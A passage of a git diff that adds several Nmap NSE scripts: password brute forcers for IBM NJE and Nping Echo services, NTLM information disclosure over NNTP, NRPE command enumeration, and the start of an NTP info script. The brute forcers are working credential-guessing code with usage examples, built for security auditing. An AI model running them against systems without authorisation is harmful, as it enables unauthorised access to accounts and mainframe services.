+ if o_host then stdnse.verbose(2,'RHOST Mode, using OHOST: %s', o_host:upper()) end
+ local engine = brute.Engine:new(Driver, host, port, options)
+ local nodes = unpwdb.filter_iterator(iter(names), valid_name)
+ engine.options:setOption("passonly", true )
+ engine:setPasswordIterator(nodes)
+ engine.options.script_name = SCRIPT_NAME
+ engine.options:setTitle("Node Name(s)")
+ local status, result = engine:start()
+ return result
+end
diff --git a/scripts/nje-pass-brute.nse b/scripts/nje-pass-brute.nse
new file mode 100644
index 0000000..5cb29f6
--- /dev/null
+++ b/scripts/nje-pass-brute.nse
@@ -0,0 +1,148 @@
+local string = require "string"
+local stdnse = require "stdnse"
+local shortport = require "shortport"
+local brute = require "brute"
+local creds = require "creds"
+local unpwdb = require "unpwdb"
+local drda = require "drda"
+local comm = require "comm"
+
+description = [[
+z/OS JES Network Job Entry (NJE) 'I record' password brute forcer.
+
+After successfully negotiating an OPEN connection request, NJE requires sending,
+what IBM calls, an 'I record'. This initialization record may sometimes require
+a password. This script, provided with a valid OHOST/RHOST for the NJE connection,
+brute forces the password.
+
+Most systems only have one password, it is recommended to use the
+<code>brute.firstonly</code> script argument.
+]]
+
+
+---
+-- @usage
+-- nmap -sV --script=nje-pass-brute --script-args=ohost='POTATO',rhost='CACTUS' <target>
+-- nmap --script=nje-pass-brute --script-args=ohost='POTATO',rhost='CACTUS',sleep=5 -p 175 <target>
+--
+-- @args nje-pass-brute.ohost The target NJE server OHOST value.
+--
+-- @args nje-pass-brute.rhost The target NJE server RHOST value.
+--
+-- @args nje-pass-brute.sleep NJE only allows one connection from a valid OHOST.
+-- The sleep value ensures only one connection is valid
+-- at a time. The default is 1 second.
+-- @output
+-- PORT STATE SERVICE VERSION
+-- 175/tcp open nje IBM Network Job Entry (JES)
+-- | nje-pass-brute:
+-- | NJE Password:
+-- | Password:A - Valid credentials
+-- |_ Statistics: Performed 8 guesses in 12 seconds, average tps: 0
+--
+-- @changelog
+-- 2016-03-22 - v0.1 - created by Soldier of Fortran
+
+author = "Soldier of Fortran"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+portrule = shortport.port_or_service({175,2252}, "nje")
+
+local openNJEfmt = "\xd6\xd7\xc5\xd5@@@@%s\0\0\0\0%s\0\0\0\0\0"
+local sohenq = "\0\0\0\x12\0\0\0\0\0\0\0\x02\x01\x2d\0\0\0\0"
+local dleack = "\0\0\0\x12\0\0\0\0\0\0\0\x02\x10\x70\0\0\0\0"
+-- NJE I Record: first %s is RHOST second is password * 2
+local iRECfmt = "\0\0\0\x3e\0\0\0\0\0\0\0\x2e\x10\x02\x80\x8f\xcf\xf0\xc9\x29%s\x01\0\0\0\0\0\x64\x80\x00%s\0\x15\0\0\0\0\0\0\0"
+
+Driver = {
+ new = function(self, host, port, options)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.options = options
+ return o
+ end,
+
+ connect = function( self )
+ -- the high timeout should take delays into consideration
+ local s, r, opts, _ = comm.tryssl(self.host, self.port, '', { timeout = 50000 } )
+ if ( not(s) ) then
+ stdnse.debug("Failed to connect")
+ return false, "Failed to connect to server"
+ end
+ self.socket = s
+ return true
+ end,
+
+ disconnect = function( self )
+ stdnse.sleep(self.options['sleep'])
+ return self.socket:close()
+ end,
+
+ login = function( self, username, password )
+ stdnse.verbose(2,"Trying... %s", password)
+
+ -- Open the connection by sending OPEN NJE packet
+ local openNJE = openNJEfmt:format(drda.StringUtil.toEBCDIC(("%-8s"):format(self.options['rhost'])),
+ drda.StringUtil.toEBCDIC(("%-8s"):format(self.options['ohost'])) )
+ local status, err = self.socket:send( openNJE )
+ if not status then return false, brute.Error:new("Failed to send OPEN") end
+ local status, data = self.socket:receive_bytes(33)
+ if not status then return false, brute.Error:new("Failed to receive") end
+ -- Make sure the response is valid
+ if data:sub(-1) ~= "\0" then
+ err = brute.Error:new("Invalid OHOST (".. self.options['ohost'] ..") or RHOST (".. self.options['rhost'] ..")")
+ err:setAbort(true) -- no point continuing if these aren't correct
+ return false, err
+ end
+ -- Next send SOH & SEQ
+ status, err = self.socket:send( sohenq )
+ if not status then return false, brute.Error:new("Failed to send SOH/ENQ") end
+ status, data = self.socket:receive_bytes(18)
+ if not status or data ~= dleack then return false, brute.Error:new("Failed to receive") end
+ -- Finally send an I record with the password
+ local njePKT = iRECfmt:format( drda.StringUtil.toEBCDIC(("%-8s"):format(self.options['rhost'])),
+ drda.StringUtil.toEBCDIC(("%-8s"):format(password:upper())):rep(2))
+ status, err = self.socket:send( njePKT )
+ if not status then return false, brute.Error:new("Failed to send NJE Packet") end
+ status, data = self.socket:receive_bytes(19)
+ if not status then return false, "Failed to receive" end
+ -- When we send an 'I' record, if the password is invalid it will reply with a 'B' record
+ -- B in EBCDIC is 0xC2
+ if data:sub(19,19) ~= "\xc2" then
+ stdnse.verbose(2,"Valid NJE Password: %s", password)
+ return true, creds.Account:new("Password", password, creds.State.VALID)
+ end
+ return false, brute.Error:new( "Invalid Password" )
+ end,
+}
+
+-- Checks string to see if it follows node naming limitations
+local valid_pass = function(x)
+ local patt = "[%w@#%$]"
+ return (string.len(x) <= 8 and string.match(x,patt))
+end
+
+action = function( host, port )
+ local r_host = stdnse.get_script_args('nje-pass-brute.rhost') or nil
+ local o_host = stdnse.get_script_args('nje-pass-brute.ohost') or nil
+ local sleep = stdnse.get_script_args('nje-pass-brute.sleep') or 1
+ if not o_host or not r_host then
+ return false, "No OHOST or RHOST set. Use --script-args nje-node-brute.rhost=\"<rhost>\",nje-node-brute.ohost=\"<ohost>\""
+ end
+ stdnse.verbose(2, "Using RHOST / OHOST: %s / %s", r_host:upper(), o_host:upper())
+ local options = { rhost = r_host:upper(), ohost = o_host:upper(), sleep = sleep }
+ local engine = brute.Engine:new(Driver, host, port, options)
+ local passwords = unpwdb.filter_iterator(brute.passwords_iterator(),valid_pass)
+ engine.options:setOption("passonly", true )
+ engine:setPasswordIterator(passwords)
+ -- Unfortunately only one OHOST/RHOST may be connected at once
+ engine:setMaxThreads(1)
+ engine.options.script_name = SCRIPT_NAME
+ engine.options:setTitle("NJE Password")
+ local status, result = engine:start()
+ return result
+end
diff --git a/scripts/nntp-ntlm-info.nse b/scripts/nntp-ntlm-info.nse
new file mode 100644
index 0000000..a8640c9
--- /dev/null
+++ b/scripts/nntp-ntlm-info.nse
@@ -0,0 +1,162 @@
+local comm = require "comm"
+local os = require "os"
+local datetime = require "datetime"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local base64 = require "base64"
+local smbauth = require "smbauth"
+local string = require "string"
+
+
+description = [[
+This script enumerates information from remote NNTP services with NTLM
+authentication enabled.
+
+Sending an MS-NNTP NTLM authentication request with null credentials will
+cause the remote service to respond with a NTLMSSP message disclosing
+information to include NetBIOS, DNS, and OS build version.
+]]
+
+
+---
+-- @usage
+-- nmap -p 119,433,563 --script nntp-ntlm-info <target>
+--
+-- @output
+-- 119/tcp open nntp
+-- | nntp-ntlm-info:
+-- | Target_Name: ACTIVENNTP
+-- | NetBIOS_Domain_Name: ACTIVENNTP
+-- | NetBIOS_Computer_Name: NNTP-TEST2
+-- | DNS_Domain_Name: somedomain.com
+-- | DNS_Computer_Name: nntp-test2.somedomain.com
+-- | DNS_Tree_Name: somedomain.com
+-- |_ Product_Version: 6.1.7601
+--
+--@xmloutput
+-- <elem key="Target_Name">ACTIVENNTP</elem>
+-- <elem key="NetBIOS_Domain_Name">ACTIVENNTP</elem>
+-- <elem key="NetBIOS_Computer_Name">NNTP-TEST2</elem>
+-- <elem key="DNS_Domain_Name">somedomain.com</elem>
+-- <elem key="DNS_Computer_Name">nntp-test2.somedomain.com</elem>
+-- <elem key="DNS_Tree_Name">somedomain.com</elem>
+-- <elem key="Product_Version">6.1.7601</elem>
+
+
+author = "Justin Cacak"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+
+local ntlm_auth_blob = base64.enc( select(2,
+ smbauth.get_security_blob(nil, nil, nil, nil, nil, nil, nil,
+ 0x00000001 + -- Negotiate Unicode
+ 0x00000002 + -- Negotiate OEM strings
+ 0x00000004 + -- Request Target
+ 0x00000200 + -- Negotiate NTLM
+ 0x00008000 + -- Negotiate Always Sign
+ 0x00080000 + -- Negotiate NTLM2 Key
+ 0x20000000 + -- Negotiate 128
+ 0x80000000 -- Negotiate 56
+ ))
+ )
+
+
+portrule = shortport.port_or_service({ 119, 433, 563 }, { "nntp", "snews" })
+
+action = function(host, port)
+
+ local output = stdnse.output_table()
+
+ -- Negotiate connection protocol
+ local socket, line, bopt, first_line = comm.tryssl(host, port, "" , {timeout=10000, recv_before=true})
+ if not socket then
+ return
+ end
+
+ -- Do not attempt to upgrade to a TLS connection if already over TLS
+ if not shortport.ssl(host,port) then
+ -- Attempt to upgrade to a TLS connection if supported (may not be advertised)
+ -- Various implementations *require* this before accepting authentication requests
+ socket:send("STARTTLS\r\n")
+ local status, response = socket:receive()
+ if not status then
+ return
+ end
+ -- Upgrade the connection if STARTTLS permitted, else continue without
+ if string.match(response, "382 .*") then
+ status, response = socket:reconnect_ssl()
+ if not status then
+ return
+ end
+ end
+ end
+
+ socket:send("AUTHINFO GENERIC NTLM\r\n")
+ local status, response = socket:receive()
+ -- If server supports NTLM authentication then continue
+ if string.match(response, "381 .*") then
+ socket:send("AUTHINFO GENERIC " .. ntlm_auth_blob .."\r\n")
+ status, response = socket:receive()
+ if not response then
+ return
+ end
+ end
+
+ local recvtime = os.time()
+ socket:close()
+
+ -- Continue only if a 381 response is returned
+ local response_decoded = string.match(response, "381 (.*)")
+ if not response_decoded then
+ return nil
+ end
+
+ local response_decoded = base64.dec(response_decoded)
+
+ -- Continue only if NTLMSSP response is returned
+ if not string.match(response_decoded, "^NTLMSSP") then
+ return nil
+ end
+
+ -- Leverage smbauth.get_host_info_from_security_blob() for decoding
+ local ntlm_decoded = smbauth.get_host_info_from_security_blob(response_decoded)
+
+ if ntlm_decoded.timestamp then
+ -- 64-bit number of 100ns clicks since 1/1/1601
+ local unixstamp = ntlm_decoded.timestamp // 10000000 - 11644473600
+ datetime.record_skew(host, unixstamp, recvtime)
+ end
+
+ -- Target Name will always be returned under any implementation
+ output.Target_Name = ntlm_decoded.target_realm
+
+ -- Display information returned & ignore responses with null values
+ if ntlm_decoded.netbios_domain_name and #ntlm_decoded.netbios_domain_name > 0 then
+ output.NetBIOS_Domain_Name = ntlm_decoded.netbios_domain_name
+ end
+
+ if ntlm_decoded.netbios_computer_name and #ntlm_decoded.netbios_computer_name > 0 then
+ output.NetBIOS_Computer_Name = ntlm_decoded.netbios_computer_name
+ end
+
+ if ntlm_decoded.dns_domain_name and #ntlm_decoded.dns_domain_name > 0 then
+ output.DNS_Domain_Name = ntlm_decoded.dns_domain_name
+ end
+
+ if ntlm_decoded.fqdn and #ntlm_decoded.fqdn > 0 then
+ output.DNS_Computer_Name = ntlm_decoded.fqdn
+ end
+
+ if ntlm_decoded.dns_forest_name and #ntlm_decoded.dns_forest_name > 0 then
+ output.DNS_Tree_Name = ntlm_decoded.dns_forest_name
+ end
+
+ if ntlm_decoded.os_major_version then
+ output.Product_Version = string.format("%d.%d.%d",
+ ntlm_decoded.os_major_version, ntlm_decoded.os_minor_version, ntlm_decoded.os_build)
+ end
+
+ return output
+
+end
diff --git a/scripts/nping-brute.nse b/scripts/nping-brute.nse
new file mode 100644
index 0000000..89577f9
--- /dev/null
+++ b/scripts/nping-brute.nse
@@ -0,0 +1,151 @@
+local brute = require "brute"
+local creds = require "creds"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+
+local openssl = stdnse.silent_require "openssl"
+
+description = [[
+Performs brute force password auditing against an Nping Echo service.
+
+See https://nmap.org/book/nping-man-echo-mode.html for Echo Mode
+documentation.
+]]
+
+---
+-- @usage
+-- nmap -p 9929 --script nping-brute <target>
+--
+-- @output
+-- 9929/tcp open nping-echo
+-- | nping-brute:
+-- | Accounts
+-- | 123abc => Valid credentials
+-- | Statistics
+-- |_ Perfomed 204 guesses in 204 seconds, average tps: 1
+
+author = "Toni Ruottu"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"brute", "intrusive"}
+
+
+portrule = shortport.port_or_service(9929, "nping-echo")
+
+local function readmessage(socket, length)
+ local msg = ""
+ while #msg < length do
+ local status, tmp = socket:receive_bytes(1)
+ if not status then
+ return nil
+ end
+ msg = msg .. tmp
+ end
+ return msg
+end
+
+Driver =
+{
+ NEP_VERSION = 0x01,
+ AES_128_CBC = "aes-128-cbc",
+ SHA256 = "sha256",
+
+ new = function(self, host, port)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ return o
+ end,
+
+ nepkey = function(self, password, nonce, typeid)
+ local seed = password .. nonce .. typeid
+ local h = openssl.digest(self.SHA256, seed)
+ for i = 1, 1000 do
+ h = openssl.digest(self.SHA256, h)
+ end
+ return string.unpack("c16", h)
+ end,
+
+ getservernonce = function(self, serverhs)
+ local offset = 63 -- 63 bytes of header before the nonce
+ return serverhs:sub(offset+1, offset+4)
+ end,
+
+ chsbody = function(self)
+ local IP4 = "\x04"
+ local IP6 = "\x06"
+ local family = IP6
+ local target = self.host.bin_ip
+ if #target == 4 then
+ target = target .. ("\0"):rep(12)
+ family = IP4
+ end
+ return target .. family .. ("\0"):rep(15)
+ end,
+
+ clienths = function(self, snonce, password)
+ local NEP_HANDSHAKE_CLIENT = 0x02
+ local NEP_HANDSHAKE_CLIENT_LEN = 36
+ local NEP_CLIENT_CIPHER_ID = "NEPkeyforCiphertextClient2Server"
+ local NEP_CLIENT_MAC_ID = "NEPkeyforMACClient2Server"
+
+ local now = nmap.clock()
+ local seqb = openssl.rand_bytes(4)
+ local cnonce = openssl.rand_bytes(32)
+ local nonce = snonce .. cnonce
+ local enckey = self:nepkey(password, nonce, NEP_CLIENT_CIPHER_ID)
+ local mackey = self:nepkey(password, nonce, NEP_CLIENT_MAC_ID)
+ local iv = string.unpack("c16", cnonce)
+ local plain = self:chsbody()
+ local crypted = openssl.encrypt(self.AES_128_CBC, enckey, iv, plain)
+ local head = string.pack(">BB I2 c4 I4 x4", self.NEP_VERSION, NEP_HANDSHAKE_CLIENT, NEP_HANDSHAKE_CLIENT_LEN, seqb, now) .. nonce
+ local mac = openssl.hmac(self.SHA256, mackey, head .. plain)
+
+ return head .. crypted .. mac
+ end,
+
+ testpass = function(self, password)
+ local SERVERHS_LEN = 96
+ local FINALHS_LEN = 112
+ local serverhs = readmessage(self.socket, SERVERHS_LEN)
+ if serverhs == nil then
+ return false
+ end
+ local snonce = self:getservernonce(serverhs)
+ local response = self:clienths(snonce, password)
+ self.socket:send(response)
+ local finalhs = readmessage(self.socket, FINALHS_LEN)
+ if finalhs == nil then
+ return false
+ end
+ return true
+ end,
+
+ connect = function(self)
+ self.socket = brute.new_socket()
+ return self.socket:connect(self.host, self.port)
+ end,
+
+ login = function(self, _, password)
+ if self:testpass(password) then
+ return true, creds.Account:new("", password, creds.State.VALID)
+ end
+ return false, brute.Error:new("Incorrect password")
+ end,
+
+ disconnect = function(self)
+ return self.socket:close()
+ end,
+}
+
+action = function(host, port)
+ local engine = brute.Engine:new(Driver, host, port)
+ engine.options.firstonly = true
+ engine.options:setOption("passonly", true)
+ engine.options.script_name = SCRIPT_NAME
+ local status, result = engine:start()
+ return result
+end
diff --git a/scripts/nrpe-enum.nse b/scripts/nrpe-enum.nse
new file mode 100644
index 0000000..3bab7bc
--- /dev/null
+++ b/scripts/nrpe-enum.nse
@@ -0,0 +1,241 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local tab = require "tab"
+
+-- -*- mode: lua -*-
+-- vim: set filetype=lua :
+
+description = [[
+Queries Nagios Remote Plugin Executor (NRPE) daemons to obtain information such
+as load averages, process counts, logged in user information, etc.
+
+This script attempts to execute the stock list of commands that are
+enabled. User-supplied arguments are not supported.
+]]
+
+---
+-- @usage
+-- nmap --script nrpe-enum -p 5666 <host>
+--
+-- @args nrpe-enum.cmds A colon-separated list of commands to be executed.
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 5666/tcp open nrpe syn-ack
+-- | nrpe-enum:
+-- | Command State Response
+-- | check_hda1 CRITICAL NRPE: Command 'check_hda1' not defined
+-- | check_load OK OK - load average: 1.00, 1.00, 1.00|load1=1.000;15.000;30.000;0; load5=1.000;10.000;25.000;0; load15=1.000;5.000;20.000;0;
+-- | check_total_procs OK PROCS OK: 5 processes
+-- | check_users WARNING USERS WARNING - 2 users currently logged in |users=2;0;10;0
+-- |_check_zombie_procs OK PROCS OK: 0 processes with STATE = Z
+
+author = "Mak Kolybabi"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "intrusive"}
+
+
+local NRPE_PROTOCOLS = {
+ "ssl",
+ "tcp"
+}
+
+local NRPE_STATES = {
+ [0] = "OK",
+ [1] = "WARNING",
+ [2] ="CRITICAL",
+ [3] = "UNKNOWN"
+}
+
+local NRPE_COMMANDS = {
+ "check_hda1",
+ "check_load",
+ "check_total_procs",
+ "check_users",
+ "check_zombie_procs"
+}
+
+local CRC32_CONSTANTS = {
+ 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F,
+ 0xE963A535, 0x9E6495A3, 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988,
+ 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, 0x1DB71064, 0x6AB020F2,
+ 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7,
+ 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9,
+ 0xFA0F3D63, 0x8D080DF5, 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172,
+ 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, 0x35B5A8FA, 0x42B2986C,
+ 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59,
+ 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423,
+ 0xCFBA9599, 0xB8BDA50F, 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924,
+ 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, 0x76DC4190, 0x01DB7106,
+ 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433,
+ 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D,
+ 0x91646C97, 0xE6635C01, 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E,
+ 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, 0x65B0D9C6, 0x12B7E950,
+ 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65,
+ 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7,
+ 0xA4D1C46D, 0xD3D6F4FB, 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0,
+ 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, 0x5005713C, 0x270241AA,
+ 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F,
+ 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81,
+ 0xB7BD5C3B, 0xC0BA6CAD, 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A,
+ 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, 0xE3630B12, 0x94643B84,
+ 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1,
+ 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB,
+ 0x196C3671, 0x6E6B06E7, 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC,
+ 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, 0xD6D6A3E8, 0xA1D1937E,
+ 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B,
+ 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55,
+ 0x316E8EEF, 0x4669BE79, 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236,
+ 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, 0xC5BA3BBE, 0xB2BD0B28,
+ 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D,
+ 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F,
+ 0x72076785, 0x05005713, 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38,
+ 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, 0x86D3D2D4, 0xF1D4E242,
+ 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777,
+ 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69,
+ 0x616BFFD3, 0x166CCF45, 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2,
+ 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, 0xAED16A4A, 0xD9D65ADC,
+ 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9,
+ 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693,
+ 0x54DE5729, 0x23D967BF, 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94,
+ 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D
+}
+
+local crc32 = function(s)
+ local crc = 0xFFFFFFFF
+ for i = 1, #s do
+ local p4 = (crc ~ s:byte(i)) & 0xff
+ local p5 = CRC32_CONSTANTS[p4 + 1]
+ crc = p5 ~ (crc >> 8)
+ end
+
+ return crc ~ 0xFFFFFFFF
+end
+
+local nrpe_open = function(host, port)
+ for _, proto in pairs(NRPE_PROTOCOLS) do
+ local sock = nmap.new_socket()
+ sock:set_timeout(2000)
+ local status, err = sock:connect(host, port, proto)
+ if status then
+ NRPE_PROTOCOLS = {proto}
+ return true, sock
+ end
+
+ stdnse.debug2("Can't connect using %s: %s", proto, err)
+ sock:close()
+ end
+
+ return false, nil
+end
+
+local nrpe_write = function(cmd)
+ -- Create request packet, before checksum.
+ local pkt = string.pack(">I2 I2 I4 I2",
+ 2,
+ 1,
+ 0,
+ 0)
+ .. cmd
+ .. string.rep("\0", 1024 - #cmd)
+ .. "\0\0"
+
+ -- Calculate the checksum, and insert it into the packet.
+ pkt = pkt:sub(1,4) .. string.pack(">I4", crc32(pkt)) .. pkt:sub(9)
+
+ return pkt
+end
+
+local nrpe_read = function(pkt)
+ local result = {}
+
+ -- Parse packet.
+ result.version,
+ result.type,
+ result.crc32,
+ result.state,
+ result.data = string.unpack(">I2 I2 I4 I2 z", pkt)
+
+ return result
+end
+
+local nrpe_check = function(host, port, cmd)
+ -- Create connection.
+ local status, sock = nrpe_open(host, port)
+ if not status then
+ return false, nil
+ end
+
+ -- Send query.
+ local status, err = sock:send(nrpe_write(cmd))
+ if not status then
+ stdnse.debug1("Failed to send NRPE query for command %s: %s", cmd, err)
+ sock:close()
+ return false, nil
+ end
+
+ -- Receive response.
+ local status, resp = sock:receive()
+ if not status then
+ stdnse.debug1("Can't read NRPE response: %s", resp)
+ sock:close()
+ return false, nil
+ end
+
+ sock:close()
+
+ return true, nrpe_read(resp)
+end
+
+portrule = shortport.port_or_service(5666, "nrpe")
+
+action = function(host, port)
+ -- Get script arguments.
+ local cmds = stdnse.get_script_args("nrpe-enum.cmds")
+ if cmds then
+ cmds = stringaux.strsplit(":", cmds)
+ else
+ cmds = NRPE_COMMANDS
+ end
+
+ -- Create results table.
+ local results = tab.new()
+ tab.addrow(
+ results,
+ "Command",
+ "State",
+ "Response"
+ )
+
+ -- Try each NRPE command, and collect the results.
+ for _, cmd in pairs(cmds) do
+ local status, result = nrpe_check(host, port, cmd)
+ if status then
+ tab.addrow(
+ results,
+ cmd,
+ NRPE_STATES[result.state],
+ result.data
+ )
+ end
+ end
+
+ -- If no queries generated responses, don't output anything.
+ if #results == 1 then
+ return
+ end
+
+ -- Record service description.
+ port.version.name = "nrpe"
+ port.version.product = "Nagios Remote Plugin Executor"
+ nmap.set_port_version(host, port)
+
+ -- Format table, without trailing newline.
+ results = tab.dump(results)
+ results = results:sub(1, #results - 1)
+
+ return "\n" .. results
+end
diff --git a/scripts/ntp-info.nse b/scripts/ntp-info.nse
new file mode 100644
index 0000000..d72f5b5
--- /dev/null
+++ b/scripts/ntp-info.nse
@@ -0,0 +1,172 @@
+local comm = require "comm"
+local datetime = require "datetime"
+local os = require "os"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local lpeg = require "lpeg"
+local U = require "lpeg-utility"
+
+description = [[
+Gets the time and configuration variables from an NTP server. We send two
+requests: a time request and a "read variables" (opcode 2) control message.
+Without verbosity, the script shows the time and the value of the
+<code>version</code>, <code>processor</code>, <code>system</code>,
+<code>refid</code>, and <code>stratum</code> variables. With verbosity, all
+variables are shown.
+
+See RFC 1035 and the Network Time Protocol Version 4 Reference and
+Implementation Guide
+(http://www.eecis.udel.edu/~mills/database/reports/ntp4/ntp4.pdf) for
+documentation of the protocol.
+]]
+
+---
+-- @usage
+-- nmap -sU -p 123 --script ntp-info <target>
+-- @output
+-- PORT STATE SERVICE VERSION
+-- 123/udp open ntp NTP v4.2.4p4@1.1520-o
+-- | ntp-info:
+-- | receive time stamp: Sat Dec 12 16:22:41 2009
+-- | version: ntpd 4.2.4p4@1.1520-o Wed May 13 21:06:31 UTC 2009 (1)
+-- | processor: x86_64
+-- | system: Linux/2.6.24-24-server
+-- | stratum: 2
+-- |_ refid: 195.145.119.188
+--
+-- @xmloutput
+-- <elem key="receive time stamp">2013-10-18T18:03:05</elem>
+-- <elem key="version">ntpd 4.2.6p3@1.2290-o Tue Jun 5 20:12:11 UTC 2012 (1)</elem>
+-- <elem key="processor">i686</elem>
+-- <elem key="system">Linux/3.9.3-24</elem>
+-- <elem key="leap">3</elem>
+-- <elem key="stratum">16</elem>
+-- <elem key="precision">-20</elem>
+-- <elem key="rootdelay">0.000</elem>
+-- <elem key="rootdisp">2502.720</elem>
+-- <elem key="refid">INIT</elem>
+-- <elem key="reftime">0x00000000.00000000</elem>
+-- <elem key="clock">0xd60bf655.4cc0ba51</elem>
+-- <elem key="peer">0</elem>
+-- <elem key="tc">3</elem>
+-- <elem key="mintc">3</elem>
+-- <elem key="offset">0.000</elem>
+-- <elem key="frequency">-46.015</elem>
+-- <elem key="jitter">0.001</elem>
+-- <elem key="wander">0.000</elem>
+
+author = "Richard Sammet"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "discovery", "safe"}
+
+
+
+portrule = shortport.port_or_service(123, "ntp", {"udp", "tcp"})
+
+-- This script run against open|filtered ports, so don't wait too long if
+-- there's no response.
+local TIMEOUT = 5000
+
+-- Only these fields from the response are displayed with default verbosity.
+local DEFAULT_FIELDS = {"version", "processor", "system", "refid", "stratum"}
+
+-- comma-space-separated key=value pairs with optional quotes
+local kvmatch = U.localize( {
+ lpeg.V "space"^0 * lpeg.V "kv" * lpeg.P ","^-1,
+ kv = lpeg.V "key" * lpeg.P "="^-1 * lpeg.V "value",
+ key = lpeg.C( (lpeg.V "alnum" + lpeg.S "_-.")^1 ),
+ value = U.escaped_quote() + lpeg.C((lpeg.P(1) - ",")^0),
+ } )
+
+action = function(host, port)
+ local status
+ local buftres, bufrlres
+ local output = stdnse.output_table()
+
+ -- This is a ntp v2 mode3 (client) date/time request.
+ local treq = string.char(0xd3, 0x00, 0x04, 0xfa, 0x00, 0x01, 0x00, 0x00,
+ 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00)
+
+ -- This is a ntp v2 mode6 (control) rl (readlist/READVAR(2)) request. See
+ -- appendix B of RFC 1305.
+ local rlreq = string.char(0x16, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00)
+
+ status, buftres = comm.exchange(host, port, treq, {timeout=TIMEOUT})
+ if status then
+ local recvtime = os.time()
+
+ local sec, frac = string.unpack(">I4I4", buftres, 33)
